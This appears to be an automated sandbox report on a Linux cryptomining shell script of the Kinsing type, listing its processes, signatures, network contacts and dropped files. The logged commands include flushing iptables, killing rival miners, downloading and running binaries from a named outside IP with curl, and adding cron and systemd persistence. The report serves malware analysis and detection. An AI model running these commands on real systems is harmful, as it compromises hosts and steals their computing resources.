File opened for reading /proc/18/cmdline /usr/bin/pkill N/A
File opened for reading /proc/291/cmdline /usr/bin/pkill N/A
File opened for reading /proc/27/cmdline /usr/bin/pkill N/A
File opened for reading /proc/21/cmdline /usr/bin/pkill N/A
File opened for reading /proc/13/status /bin/ps N/A
File opened for reading /proc/701/stat /bin/ps N/A
File opened for reading /proc/723/stat /bin/ps N/A
File opened for reading /proc/488/cmdline /usr/bin/pkill N/A
File opened for reading /proc/697/status /usr/bin/pkill N/A
File opened for reading /proc/13/status /usr/bin/pkill N/A
File opened for reading /proc/9/status /usr/bin/pkill N/A
File opened for reading /proc/meminfo /bin/ps N/A
File opened for reading /proc/699/cmdline /bin/ps N/A
File opened for reading /proc/18/status /bin/ps N/A
File opened for reading /proc/150/stat /bin/ps N/A
File opened for reading /proc/28/cmdline /usr/bin/pkill N/A
File opened for reading /proc/29/status /usr/bin/pkill N/A
File opened for reading /proc/108/status /usr/bin/pkill N/A
File opened for reading /proc/29/status /usr/bin/pkill N/A
File opened for reading /proc/167/cmdline /usr/bin/pkill N/A
File opened for reading /proc/4/cmdline /usr/bin/pkill N/A
File opened for reading /proc/19/cmdline /usr/bin/pkill N/A
File opened for reading /proc/674/cmdline /bin/ps N/A
File opened for reading /proc/668/cmdline /usr/bin/pkill N/A
File opened for reading /proc/775/status /usr/bin/pkill N/A
File opened for reading /proc/811/stat /bin/ps N/A
File opened for reading /proc/109/status /usr/bin/pkill N/A
File opened for reading /proc/860/status /bin/ps N/A
File opened for reading /proc/4/cmdline /usr/bin/pkill N/A
File opened for reading /proc/281/cmdline /usr/bin/pkill N/A
File opened for reading /proc/698/cmdline /usr/bin/pkill N/A
File opened for reading /proc/668/cmdline /usr/bin/pkill N/A
File opened for reading /proc/25/status /usr/bin/pkill N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A

Processes

/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh

[/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh]

/usr/bin/chattr

[chattr -i /etc/ld.so.preload]

/bin/rm

[rm -f /etc/ld.so.preload]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/sbin/iptables

[iptables -F]

/usr/bin/id

[id -u]

/bin/ls

[ls -la /etc]

/bin/grep

[grep -e /dev]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep agetty]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/pkill

[pkill -f 42.112.28.216]

/bin/grep

[grep 207.38.87.6]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 127.0.0.1:52018]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 34.81.218.76:9486]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 42.112.28.216:9486]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/pkill

[pkill -f .git/kthreaddw]

/usr/bin/pkill

[pkill -f 80.211.206.105]

/usr/bin/pkill

[pkill -f 207.38.87.6]

/usr/bin/pkill

[pkill -f p8444]

/usr/bin/pkill

[pkill -f supportxmr]

/usr/bin/pkill

[pkill -f monero]

/usr/bin/pkill

[pkill -f kthreaddi]

/usr/bin/pkill

[pkill -f srv00]

/usr/bin/pkill

[pkill -f /tmp/.javae/javae]

/usr/bin/pkill

[pkill -f .javae]

/usr/bin/pkill

[pkill -f .syna]

/usr/bin/pkill

[pkill -f .main]

/usr/bin/pkill

[pkill -f xmm]

/usr/bin/pkill

[pkill -f solr.sh]

/usr/bin/pkill

[pkill -f /tmp/.solr/solrd]

/usr/bin/pkill

[pkill -f /tmp/javac]

/usr/bin/pkill

[pkill -f /tmp/.go.sh]

/usr/bin/pkill

[pkill -f /tmp/.x/agetty]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f c3pool]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/gitag-ssh]

/usr/bin/pkill

[pkill -f /tmp/1]

/usr/bin/pkill

[pkill -f /tmp/okk.sh]

/usr/bin/pkill

[pkill -f /tmp/gitaly]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/supervise]

/usr/bin/pkill

[pkill -f /tmp/.ssh/redis.sh]

/bin/ps

[ps aux]

/bin/grep

[grep ./udp]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/01]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/11]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/22]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.0]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /data/./oka.pid]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/pkill

[pkill -f zsvc]

/usr/bin/pkill

[pkill -f pdefenderd]

/usr/bin/pkill

[pkill -f updatecheckerd]

/usr/bin/pkill

[pkill -f cruner]

/usr/bin/pkill

[pkill -f dbused]

/usr/bin/pkill

[pkill -f bashirc]

/usr/bin/pkill

[pkill -f meminitsrv]

/bin/ps

[ps aux]

/bin/grep

[grep ./oka]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep postgres: autovacum]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps ax -o command,pid -www]

/usr/bin/awk

[awk length($1) == 8]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v \[]

/bin/grep

[grep -v (]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/bin/grep

[grep -v kinsing]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps ax -o command,pid -www]

/usr/bin/awk

[awk length($1) == 16]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v \[]

/bin/grep

[grep -v (]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps ax]

/usr/bin/awk

[awk length($5) == 8]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v \[]

/bin/grep

[grep -v (]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/usr/bin/awk

[awk {print $1}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/grep

[grep /tmp/sscks]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/usr/bin/md5sum

[md5sum /etc/kinsing]

/usr/bin/awk

[awk { print $1 }]

/bin/chmod

[chmod 777 /etc/kinsing]

/usr/bin/curl

[curl -o /etc/kinsing http://80.71.158.12/kinsing]

/bin/chmod

[chmod +x /etc/kinsing]

/usr/bin/md5sum

[md5sum /etc/kinsing]

/usr/bin/awk

[awk { print $1 }]

/bin/chmod

[chmod 777 /etc/kinsing]

/usr/bin/curl

[curl -o /etc/kinsing http://80.71.158.12/kinsing]

/bin/chmod

[chmod +x /etc/kinsing]

/usr/bin/md5sum

[md5sum /etc/kinsing]

/usr/bin/awk

[awk { print $1 }]

/usr/bin/md5sum

[md5sum /etc/libsystem.so]

/usr/bin/awk

[awk { print $1 }]

/bin/chmod

[chmod 777 /etc/libsystem.so]

/usr/bin/curl

[curl -o /etc/libsystem.so http://80.71.158.12/libsystem.so]

/bin/chmod

[chmod +x /etc/libsystem.so]

/usr/bin/md5sum

[md5sum /etc/libsystem.so]

/usr/bin/awk

[awk { print $1 }]

/bin/chmod

[chmod 777 /etc/libsystem.so]

/usr/bin/curl

[curl -o /etc/libsystem.so http://80.71.158.12/libsystem.so]

/bin/chmod

[chmod +x /etc/libsystem.so]

/usr/bin/md5sum

[md5sum /etc/libsystem.so]

/usr/bin/awk

[awk { print $1 }]

/bin/rm

[rm -rf /tmp/kdevtmpfsi]

/bin/chmod

[chmod 777 /etc/kinsing]

/bin/chmod

[chmod +x /etc/kinsing]

/etc/kinsing

[/etc/kinsing]

/usr/bin/id

[id -u]

/bin/systemctl

[systemctl enable bot]

/bin/systemctl

[systemctl start bot]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /base64/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /_cron/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /31.210.20.181/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /update.sh/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /logo4/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /logo9/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /logo0/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /logo/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /tor2web/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /jpg/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /png/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /tmp/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /zmreplchkr/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /aliyun.one/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /3.215.110.66.one/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /pastebin/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /onion/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /lsd.systemten.org/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /shuf/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /ash/d]

/usr/bin/crontab

[crontab -]

Network

Country Destination Domain Proto
UA 80.71.158.12:80 tcp
UA 80.71.158.12:80 tcp
UA 80.71.158.12:80 tcp
UA 80.71.158.12:80 tcp

Files

memory/802-1-0xb6c12000-0xb6c23044-memory.dmp

/lib/systemd/system/bot.service

MD5 a3e1220eacdbd3fa5d0117efd5d4dd91
SHA1 b66492d74a517bcd9d230b574b56411476124709
SHA256 05d02411668f4ebd576a24ac61cc84e617bdb66aa819581daa670c65f1a876f0
SHA512 78d27f45518a7fce636ef790ee215b1f47b2939e02cf6c5118897a703cc15ed4c283838d30a275e309304415d2a58e2e4a07d99127ec9ff32221d94e6547ca1f

/var/spool/cron/crontabs/tmp.GLgat8

MD5 217d37180d562e99f2d3c6f35bcfa407
SHA1 bed434597a1670f115c13c92251e7ea5db68d82b
SHA256 fc63f3b0534daee47645118bc54c0e2e0ca8eada5cd32f9728e48a42b2de61de
SHA512 f8376956956b3361a4483a26cced90bf273f2d02a219380165cb45de644cd6859230db6fbeede64589fffaf2a8ba49d76770658860c6586c5bcffbfd676eac23

/var/spool/cron/crontabs/tmp.yjKCL8

MD5 95dd962affac03067f8b5bab42c6851c
SHA1 fceb4c9cf6e8291ac39595ae99d56b0394322949
SHA256 c4a11b59516a24cb84df203d43087c0f8af0bbe0b2db1ac3bcd0a7cdab776ddc
SHA512 e1f16f85adb610fbf2402a2a1a6721c0c9b63ba44d33ac9577d155ea19cac94fc801670a7ab83e2512df5ac9efa6d64ac7281ce6585cc610976d5ef266c9f90d

/var/spool/cron/crontabs/tmp.KncNNw

MD5 9c23441332a9c264791070b7702a9f66
SHA1 a4a528eb3252cb02b42f8cb480fac7c379442658
SHA256 4100141eac32b9325b853683618c458a2cf51b58e84296330f5c8d70b0cc6a35
SHA512 a939556474a94a15efeca8275aed65f08859870f4af86bf21c744c4c917ab2032d4dbd5bfa69fdb4680681cac03aee3d6fe346a523ed85c682604989fcdefe4c

/var/spool/cron/crontabs/tmp.LBvCHs

MD5 8f4a0b6a985017b63a77455752e17854
SHA1 be193b7df7d2253aaaa3cbf0334ef1ecdc5afe7e
SHA256 049d886fc4035ac1344f0bad628efaedb3bff2dd7ddc100450a0103569829ce9
SHA512 bd9624b246f2cc8983ca00a436653053e7859e7b87e51e651623ae7d3a8e7f3eb83ae96786bdc9e0d6f488fadca047518cea264580c11f01da06f87ccbc7713c

memory/997-2-0xb6b92000-0xb6ba3044-memory.dmp

/var/spool/cron/crontabs/tmp.asa3Ff

MD5 145f992f652d4eea1ff631c0608755ce
SHA1 1b306c3671107d82d45e9d6fe733ec952e450674
SHA256 266d9ca5b40aa0024fa61ccec002aeb8604748f059d51c3e4af86b80c3438159
SHA512 e8d3731f4203aa844afbe7bfb6478397653c74aa37707f6b203e35781f76f194937d3dd4f3cb307c5e7dd51341777c2caed1e726a80ebb0ff87f9010d96c3d44

/var/spool/cron/crontabs/tmp.6D1GBx

MD5 25b6d996d2a33aeb527b5668b2ebb163
SHA1 fbdd38d00f0702c647d82b3b9c653dd9245ffc84
SHA256 fe7ea2e6dd807d556b46ecade87caff82e9b5f740b31227ea4d319ad3e31f4a6
SHA512 5a1eeae9cadeb97897c3b2d0fff87f14bfa420a14f7166861beffbf8257ffa2a19d193e553cad9ee450e189541081eb759f1833494655d68c49e5d36b315a20b

/var/spool/cron/crontabs/tmp.SDJtsR

MD5 f4162a26283cca8f807eac824c50035e
SHA1 802cacfe39fec626c89d1174362672223b518153
SHA256 558281c60c709ec701d35b71f048c3ec745d2e2cfb9e1d933bed09cd94b604f7
SHA512 b9375525459f9f14ce91ff04e2afb47b2d6b494bb53246eb2166bd49f32a4ffa352ec6387708b271a587c715c5db23b7209bdb72fa8e67f18a071cc8c93e5def

/var/spool/cron/crontabs/tmp.eKPInk

MD5 3c21d02daabad7a02434c88670d46335
SHA1 20034769417232f1a3fffc7634b964706197f6f6
SHA256 7f3425d5d1cf60b2a3c1d7256289509291010438512a1423615e51a242541d0f
SHA512 a65667b614b008ae1c3331ffc76b586511fc349b9fa47a4e5f101a4b6ff6a5350f7a5c55790f010f487e17e708b4fdb670cb800c67524e9ad957c64dbb877f53

/var/spool/cron/crontabs/tmp.bvXCPn

MD5 6c97a8a92a8758654846777588c54e16
SHA1 1399145792afd8da900857e002c420b43c41d902
SHA256 5f6a66b06fce1b019a1488049bf2b6a7001c27c10c16072568d45b717e7d8358
SHA512 7150e5f53a73ec36d9cfac348052449bb12cb62e9fff86d586a6ad422de464fbe48c16ca127754e9fcb9240c302ef08f9258ab97676f028f85703852151549d5

/var/spool/cron/crontabs/tmp.AqolIp

MD5 d53b46d314d2d11a0063edbd7d3cadd6
SHA1 f493ae9e32e66b1f3712a4e603945bb52e06c752
SHA256 8dd6c66f9141a91439e983f074049bef15ad45fcd45ccd1f6d72a4658258502b
SHA512 344b391f9e595facfeaf1e7d9b2b729865fa6975b92e474f9c2345c0ac93e4456534967ad41c5204fec6dfa22112ac0bc9d6817439ca350f0830f49e45f71bbb

/var/spool/cron/crontabs/tmp.5GkEul

MD5 628f1b3e0025fc921cf4fc4d152e51b9
SHA1 d5f115210371c3e375a8d48e3bfd5863ac4fabf2
SHA256 c14729bfc21551f831413463eb30029558cab21cdf2e6169773e8c2b54717109
SHA512 39129ba2a63cd57573d9a9238d814ccde2fa15e350e02944ba41ec4861c3f6078e49ac68b106cf51f4b3abbd726832c8a9b86d4129cefa6591393dacb993e219

Analysis: behavioral7

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-mipsbe-20240611-en

Max time kernel

150s

Max time network

25s

Command Line

[/tmp/script_malware/1.sh]

Signatures

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /sbin/iptables N/A

Abuse Elevation Control Mechanism: Sudo and Sudo Caching

privilege_escalation defense_evasion
Description Indicator Process Target
N/A N/A /usr/bin/sudo N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A /bin/grep N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/grep N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/sed N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.Xyw3sC /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.RmJr3Q /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.pQ6DUg /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.RRrR39 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.71EVqw /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.SUNn9W /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.UOlKeg /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.kW5P6D /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.sntw5b /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.aN9dO8 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.6Pvlqp /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.4g2ZBI /usr/bin/crontab N/A

Enumerates running processes

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/sbin/exim4 N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/sbin/exim4 N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A

Process Discovery

discovery
Description Indicator Process Target
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/332/cmdline /bin/ps N/A
File opened for reading /proc/18/status /bin/ps N/A
File opened for reading /proc/493/cmdline /usr/bin/pkill N/A
File opened for reading /proc/377/cmdline /bin/ps N/A
File opened for reading /proc/13/cmdline /bin/ps N/A
File opened for reading /proc/12/cmdline /usr/bin/pkill N/A
File opened for reading /proc/115/stat /bin/ps N/A
File opened for reading /proc/387/stat /bin/ps N/A
File opened for reading /proc/456/status /bin/ps N/A
File opened for reading /proc/18/cmdline /usr/bin/pkill N/A
File opened for reading /proc/325/cmdline /usr/bin/pkill N/A
File opened for reading /proc/716/stat /bin/ps N/A
File opened for reading /proc/10/status /bin/ps N/A
File opened for reading /proc/17/status /usr/bin/pkill N/A
File opened for reading /proc/11/cmdline /usr/bin/pkill N/A
File opened for reading /proc/463/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1731/status /usr/bin/pkill N/A
File opened for reading /proc/82/status /usr/bin/pkill N/A
File opened for reading /proc/115/cmdline /bin/ps N/A
File opened for reading /proc/2/stat /bin/ps N/A
File opened for reading /proc/77/cmdline /usr/bin/pkill N/A
File opened for reading /proc/9/status /usr/bin/pkill N/A
File opened for reading /proc/15/cmdline /bin/ps N/A
File opened for reading /proc/70/cmdline /bin/ps N/A
File opened for reading /proc/1454/status /bin/ps N/A
File opened for reading /proc/377/cmdline /usr/bin/pkill N/A
File opened for reading /proc/389/stat /bin/ps N/A
File opened for reading /proc/714/status /usr/bin/pkill N/A
File opened for reading /proc/3/status /usr/bin/pkill N/A
File opened for reading /proc/1773/stat /bin/ps N/A
File opened for reading /proc/24/cmdline /usr/bin/pkill N/A
File opened for reading /proc/79/status /usr/bin/pkill N/A
File opened for reading /proc/11/status /usr/bin/pkill N/A
File opened for reading /proc/235/cmdline /usr/bin/pkill N/A
File opened for reading /proc/463/status /usr/bin/pkill N/A
File opened for reading /proc/3/stat /bin/ps N/A
File opened for reading /proc/1/cmdline /bin/ps N/A
File opened for reading /proc/15/status /bin/ps N/A
File opened for reading /proc/387/status /bin/ps N/A
File opened for reading /proc/7/cmdline /usr/bin/pkill N/A
File opened for reading /proc/714/status /usr/bin/pkill N/A
File opened for reading /proc/6/status /bin/ps N/A
File opened for reading /proc/24/cmdline /bin/ps N/A
File opened for reading /proc/165/status /bin/ps N/A
File opened for reading /proc/7/stat /bin/ps N/A
File opened for reading /proc/716/cmdline /bin/ps N/A
File opened for reading /proc/389/cmdline /usr/bin/pkill N/A
File opened for reading /proc/357/stat /bin/ps N/A
File opened for reading /proc/24/cmdline /bin/ps N/A
File opened for reading /proc/114/stat /bin/ps N/A
File opened for reading /proc/456/cmdline /bin/ps N/A
File opened for reading /proc/79/stat /bin/ps N/A
File opened for reading /proc/79/status /usr/bin/pkill N/A
File opened for reading /proc/165/stat /bin/ps N/A
File opened for reading /proc/165/cmdline /bin/ps N/A
File opened for reading /proc/70/status /bin/ps N/A
File opened for reading /proc/69/stat /bin/ps N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/sed N/A
